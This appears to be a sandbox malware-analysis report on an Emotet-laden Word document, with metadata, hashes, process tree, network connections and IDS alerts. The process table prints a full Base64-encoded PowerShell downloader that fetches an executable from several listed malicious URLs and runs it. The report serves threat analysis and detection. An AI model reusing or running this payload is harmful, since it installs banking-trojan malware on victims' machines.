download: | swift |
Full analysis: | https://app.any.run/tasks/b7b6e966-9e5d-4c21-8098-2c55eeb4561c |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | October 20, 2020, 11:31:43 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Officiis., Author: Malys Colin, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Oct 20 05:30:00 2020, Last Saved Time/Date: Tue Oct 20 05:30:00 2020, Number of Pages: 1, Number of Words: 2230, Number of Characters: 12717, Security: 8 |
MD5: | A77FA8DAF8F8EB61D2CFD964A4CE10EA |
SHA1: | C5137EC4B4CEC7387E1F6CE03C79B672245002B3 |
SHA256: | 7B664501734D9F55316F7FFBD0178031B2B0501610F3065ADA226A0A04E4E014 |
SSDEEP: | 3072:xJivKie6B/w2yiWydw71WO59Sd+l4PJhERTM5/oKUQ2t1nJp1zv8LM6h9N:xJiP/w2PW1WO59Sd+l4PJhERTM5/oKUM |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
LocaleIndicator: | 1033 |
CodePage: | Unicode UTF-16, little endian |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 15 |
CharCountWithSpaces: | 14918 |
Paragraphs: | 29 |
Lines: | 105 |
Company: | - |
Security: | Locked for annotations |
Characters: | 12717 |
Words: | 2230 |
Pages: | 1 |
ModifyDate: | 2020:10:20 04:30:00 |
CreateDate: | 2020:10:20 04:30:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | Maëlys Colin |
Subject: | - |
Title: | Officiis. |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2632 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\swift.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2676 | POwersheLL -ENCOD cwBFAFQALQBpAFQAZQBNACAAIAAoACcAdgBBAHIAJwArACcAaQBhAEIAJwArACcAbABFACcAKwAnADoAZgBFAGwAJwApACAAKAAgACAAWwB0AFkAUABlAF0AKAAnAHMAeQBTAFQARQBNACcAKwAnAC4ASQBvAC4AZAAnACsAJwBpAFIARQBDAFQAJwArACcAbwBSAHkAJwApACAAKQAgACAAOwAgACAAJABqAEQAMQAwACAAPQBbAHQAWQBQAEUAXQAoACcAcwB5ACcAKwAnAHMAdABlAE0AJwArACcALgAnACsAJwBuAEUAJwArACcAdAAuAFMARQByAHYASQBDACcAKwAnAEUAcABPAGkAJwArACcAbgBUAE0AQQBOACcAKwAnAGEAZwBlAFIAJwApACAAOwAgAFMAZQB0AC0AaQB0AEUATQAgACAAKAAiAFYAQQByAEkAIgArACIAQQBiACIAKwAiAGwARQA6AHkATwBjAGEAIgApACAAIAAoACAAWwBUAHkAUABFAF0AKAAnAHMAJwArACcAeQBzAHQAJwArACcARQBtAC4AJwArACcAbgBFAFQAJwArACcALgBzAGUAQwAnACsAJwBVAHIASQB0AFkAJwArACcAcAAnACsAJwBSAG8AdABPAEMAbwBMAFQAeQBwAEUAJwApACAAKQA7ACAAIAAkAFcAcgBiAGcAMgA3AHgAPQAoACcAVwBiAGgAcABrACcAKwAnAGsAdQAnACkAOwAkAE4AaABrAHUAYgA5AGwAPQAkAEgAaQBxAF8AbQBjAHAAIAArACAAWwBjAGgAYQByAF0AKAA4ADAAIAAtACAAMwA4ACkAIAArACAAJABaAGQANQBmADgAawBuADsAJABDAHMAeQB1ADcAZQB4AD0AKAAnAEMAdAAnACsAJwAwADQAaQA3AHoAJwApADsAIAAoAGcAZQBUAC0AdgBBAFIAaQBhAEIATABFACAAIAAoACcAZgBFACcAKwAnAEwAJwApACAAKQAuAFYAYQBsAHUAZQA6ADoAYwByAGUAQQBUAEUAZABJAFIAZQBjAHQATwBSAFkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AEwAJwArACcAMQB1ADUAJwArACcANQBwACcAKwAnAGwAewAwAH0AJwArACcASAA5AGkAbQBkADQAZAB7ADAAfQAnACkALQBmACAAWwBjAGgAQQBSAF0AOQAyACkAKQA7ACQASgAxAGIANgBuAGUAcQA9ACgAJwBCAHgAaAB5AGIAJwArACcAcwBlACcAKQA7ACAAKABkAEkAcgAgACAAKAAiAHYAYQAiACsAIgByAGkAYQBCAGwAIgArACIARQA6AEoAZAAxADAAIgApACAAKQAuAHYAQQBsAHUAZQA6ADoAcwBlAGMAVQByAEkAVAB5AFAAUgBvAFQAbwBjAG8AbAAgAD0AIAAgACgAVgBhAHIAaQBBAEIAbABFACAAIAAoACIAeQBPACIAKwAiAEMAQQAiACkAIAAtAHYAQQBsAFUAZQBPAE4AbAB5ACkAOgA6AFQAbABTADEAMgA7ACQAUgBzAGwAMwB3AGEAeAA9ACgAJwBQADYAOAA1ACcAKwAnAGUAdwAnACsAJwBnACcAKQA7ACQAVgBqAGQAZQBjAGYAdwAgAD0AIAAoACcASwA1ADMAaABpACcAKwAnAHMAJwApADsAJABaAGMANgByAGkAOABfAD0AKAAnAFAAbwBtAGUAJwArACcAMgB2ACcAKwAnADkAJwApADsAJABKAGQANwBqAHQAaAB3AD0AKAAnAEwAJwArACcAcgBmAGoAaAAyACcAKwAnADkAJwApADsAJABMAHcAeAA4ADEAOAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADEATQBMAEwAJwArACcAMQAnACsAJwB1ADUAJwArACcANQBwAGwAJwArACcAMQBNAEwASAA5AGkAbQBkADQAZAAxAE0ATAAnACkALgBSAGUAUABsAEEAQwBlACgAJwAxAE0ATAAnACwAJwBcACcAKQApACsAJABWAGoAZABlAGMAZgB3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFAGYAbAAxADIAdABvAD0AKAAnAFAAawAnACsAJwBsAHAAJwArACcAMwByAHAAJwApADsAJABPAGUAdAB5ADkAMQB6AD0ATgBFAHcALQBgAG8AYABCAEoARQBDAHQAIABOAEUAVAAuAFcARQBiAGMATABpAEUAbgBUADsAJABSADQAMgA2AHEANQBfAD0AKAAnAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6AC8ALwBrAHIAaQB5AGEALgBjAG8ALgB6AGEALwBjAGcAaQAtAGIAaQAnACsAJwBuAC8ARwBnAFMAawBYAFAAYgAvACoAaAB0AHQAcABzADoALwAvACcAKwAnAGMAbwBsACcAKwAnAGUAJwArACcAZwAnACsAJwBpAG8AJwArACcAZABlAGMAbwBtAHUAbgBpAGMAYQAnACsAJwBkAG8AcgBlAHMAcwBvAGMAJwArACcAaQBhAGwAZQBzAGQAZQAnACsAJwBsAGcAdQBhACcAKwAnAHkAYQAnACsAJwBzAC4AYwBvACcAKwAnAG0ALwBnAG0ALQB0AHIAbwAnACsAJwB1AGIAbABlAC8AcwAvACoAaAB0AHQAcABzADoALwAvAHAAcgBvAGQAbwBtAGkAbgBpAG8AcwAnACsAJwBwAHIAdQBlAGIAJwArACcAYQBzAC4AJwArACcAdABrACcAKwAnAC8AcAByAGUAJwArACcAcwB0AGEAJwArACcALwB1ADMAVQAnACsAJwAvACoAaAB0AHQAcAAnACsAJwBzADoALwAvAGsAJwArACcAdQBzAGgAJwArACcAYQBsAGsAYQAnACsAJwBmACcAKwAnAGwAZQAuAGMAJwArACcAbwBtACcAKwAnAC4AbgBwAC8AJwArACcAdwBwAC0AJwArACcAaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAZQBzAC8ARABLAEEALwAqAGgAdAB0AHAAcwA6AC8ALwBzACcAKwAnAG8AbQBvAHMAbABvAHQAdABvAC4AYwBvAG0ALwBzAHEAJwArACcAdQBhAHIAZQBQAGEAeQAnACsAJwAvAEcAJwArACcAUQAnACsAJwBtACcAKwAnAEUAaQBQAHAALwAqACcAKwAnAGgAdAB0AHAAJwArACcAcwA6AC8ALwAnACsAJwBhAGYAZgBpAGwAaQBhAHQAZQBrAGkAbgBnAC4AeAAnACsAJwB5AHoAJwArACcALwBwAGEAJwArACcAcgB0AGkAbgBnAC0AbwB1ACcAKwAnAHQALwAxAE0AJwArACcASQAvACoAJwArACcAaAB0ACcAKwAnAHQAcABzADoALwAvAGQAYQBuAHQAbwBrACcAKwAnAHAAYQAtAG0AYQByAGsAZQAnACsAJwB0AC4AbwByACcAKwAnAGcALwB3AHAALwAzAFMAJwArACcAagAnACsAJwA5AFAAJwArACcAegB0AC8AKgAnACsAJwBoAHQAdABwACcAKwAnAHMAOgAvAC8AZwAnACsAJwBhAGIAaQBuAGUAdAAnACsAJwBlAGQAZQBzAGMAbwBkACcAKwAnAGkAJwArACcAZgBpAGMAJwArACcAYQAnACsAJwBjAGkAbwBuAGIAJwArACcAaQBvAGwAbwAnACsAJwBnACcAKwAnAGkAJwArACcAYwAnACsAJwBhAC4AYwBvAG0ALwAnACsAJwB3AHAALQBhAGQAbQBpACcAKwAnAG4ALwAnACsAJwBPADYANgAvACcAKQAuAFMAUABMAEkAVAAoACQATQBxAG8AZABtAGoANQAgACsAIAAkAE4AaABrAHUAYgA5AGwAIAArACAAJABMAGcAYQAzADMAMgBtACkAOwAkAE0AMABfAHYAagBpAHgAPQAoACcAUwAnACsAJwB4AHkAaQA3AGcAJwArACcAOAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEUAcwBzAHoAeAB2ADUAIABpAG4AIAAkAFIANAAyADYAcQA1AF8AKQB7AHQAcgB5AHsAJABPAGUAdAB5ADkAMQB6AC4AZABPAHcATgBsAE8AYQBkAGYASQBMAEUAKAAkAEUAcwBzAHoAeAB2ADUALAAgACQATAB3AHgAOAAxADgAOAApADsAJABCAHgANAAzAG4ANQBiAD0AKAAnAEkAdAAnACsAJwBpAHYAcwB3ACcAKwAnAHIAJwApADsASQBmACAAKAAoAGcARQB0AC0AaQBgAFQAYABlAE0AIAAkAEwAdwB4ADgAMQA4ADgAKQAuAGwAZQBOAEcAVABIACAALQBnAGUAIAAzADcANwA2ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAbgAzACcAKwAnADIAXwBQAHIAbwBjACcAKwAnAGUAJwArACcAcwBzACcAKQApAC4AYwBSAGUAYQBUAGUAKAAkAEwAdwB4ADgAMQA4ADgAKQA7ACQATAA5ADQAcwA1AGoAaQA9ACgAJwBOAG8AMQB2AHYAOAAnACsAJwBrACcAKQA7AGIAcgBlAGEAawA7ACQAQgB6AGYAMAB2AHMAeQA9ACgAJwBCAGoAMgAnACsAJwBfACcAKwAnAGMAbgBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBrAHAAagBlAHIAaQA9ACgAJwBPADAANQBwAG0AJwArACcAbQAzACcAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2412 | C:\Users\admin\L1u55pl\H9imd4d\K53his.exe | C:\Users\admin\L1u55pl\H9imd4d\K53his.exe | — | wmiprvse.exe |
User: admin Company: Twenty Squares Integrity Level: MEDIUM Description: Addictedsarah chaturbate iree token Version: 1.00 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2632 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR4163.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2676 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZWF12LHJQZNAB8ASDMW6.temp | — | |
MD5:— | SHA256:— | |||
2676 | POwersheLL.exe | C:\Users\admin\L1u55pl\H9imd4d\K53his.exe | — | |
MD5:— | SHA256:— | |||
2632 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:207A714D783553B1D0ED65442A14F341 | SHA256:691753A23931D6FF5AAECC4212385C0CE541FEF51F2B6B0D950473A1A899EBED | |||
2676 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB | |||
2632 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:FB0A80D87CEECDB167EAE1CAD465CC12 | SHA256:E3BBC90BE196079DDA92D65110BEC977A979FEF4D008B58A7D2953D26E5C9978 | |||
2676 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d4c7f.TMP | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB | |||
2632 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$swift.doc | pgc | |
MD5:EA166A1AAE2E56AEB113402A4BDC21F8 | SHA256:78369BD3AF75026ECC8D8BA5DE5F1201F101B088B9BB2C02155DDDF326FF905B |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2676 | POwersheLL.exe | 52.117.30.9:443 | prodominiospruebas.tk | — | US | suspicious |
2676 | POwersheLL.exe | 172.67.130.248:443 | somoslotto.com | — | US | unknown |
2676 | POwersheLL.exe | 209.126.6.81:443 | colegiodecomunicadoressocialesdelguayas.com | CDM | US | unknown |
2676 | POwersheLL.exe | 95.217.145.213:443 | affiliateking.xyz | Hetzner Online GmbH | DE | suspicious |
2676 | POwersheLL.exe | 93.104.208.221:443 | kushalkafle.com.np | M-net Telekommunikations GmbH | DE | unknown |
— | — | 93.104.208.221:443 | kushalkafle.com.np | M-net Telekommunikations GmbH | DE | unknown |
2676 | POwersheLL.exe | 196.41.123.124:443 | kriya.co.za | Cybersmart | ZA | suspicious |
Domain | IP | Reputation |
---|---|---|
kriya.co.za |
| suspicious |
colegiodecomunicadoressocialesdelguayas.com |
| unknown |
prodominiospruebas.tk |
| suspicious |
kushalkafle.com.np |
| unknown |
somoslotto.com |
| unknown |
affiliateking.xyz |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
2676 | POwersheLL.exe | Generic Protocol Command Decode | SURICATA STREAM FIN out of window |
2676 | POwersheLL.exe | Generic Protocol Command Decode | SURICATA STREAM FIN out of window |
2676 | POwersheLL.exe | Generic Protocol Command Decode | SURICATA STREAM FIN out of window |
2676 | POwersheLL.exe | Generic Protocol Command Decode | SURICATA STREAM FIN out of window |
2676 | POwersheLL.exe | Generic Protocol Command Decode | SURICATA STREAM FIN out of window |
2676 | POwersheLL.exe | Generic Protocol Command Decode | SURICATA STREAM FIN out of window |
2676 | POwersheLL.exe | Generic Protocol Command Decode | SURICATA STREAM FIN out of window |
2676 | POwersheLL.exe | Generic Protocol Command Decode | SURICATA STREAM FIN out of window |
— | — | Potentially Bad Traffic | ET DNS Query to a .tk domain - Likely Hostile |
2676 | POwersheLL.exe | Generic Protocol Command Decode | SURICATA STREAM FIN out of window |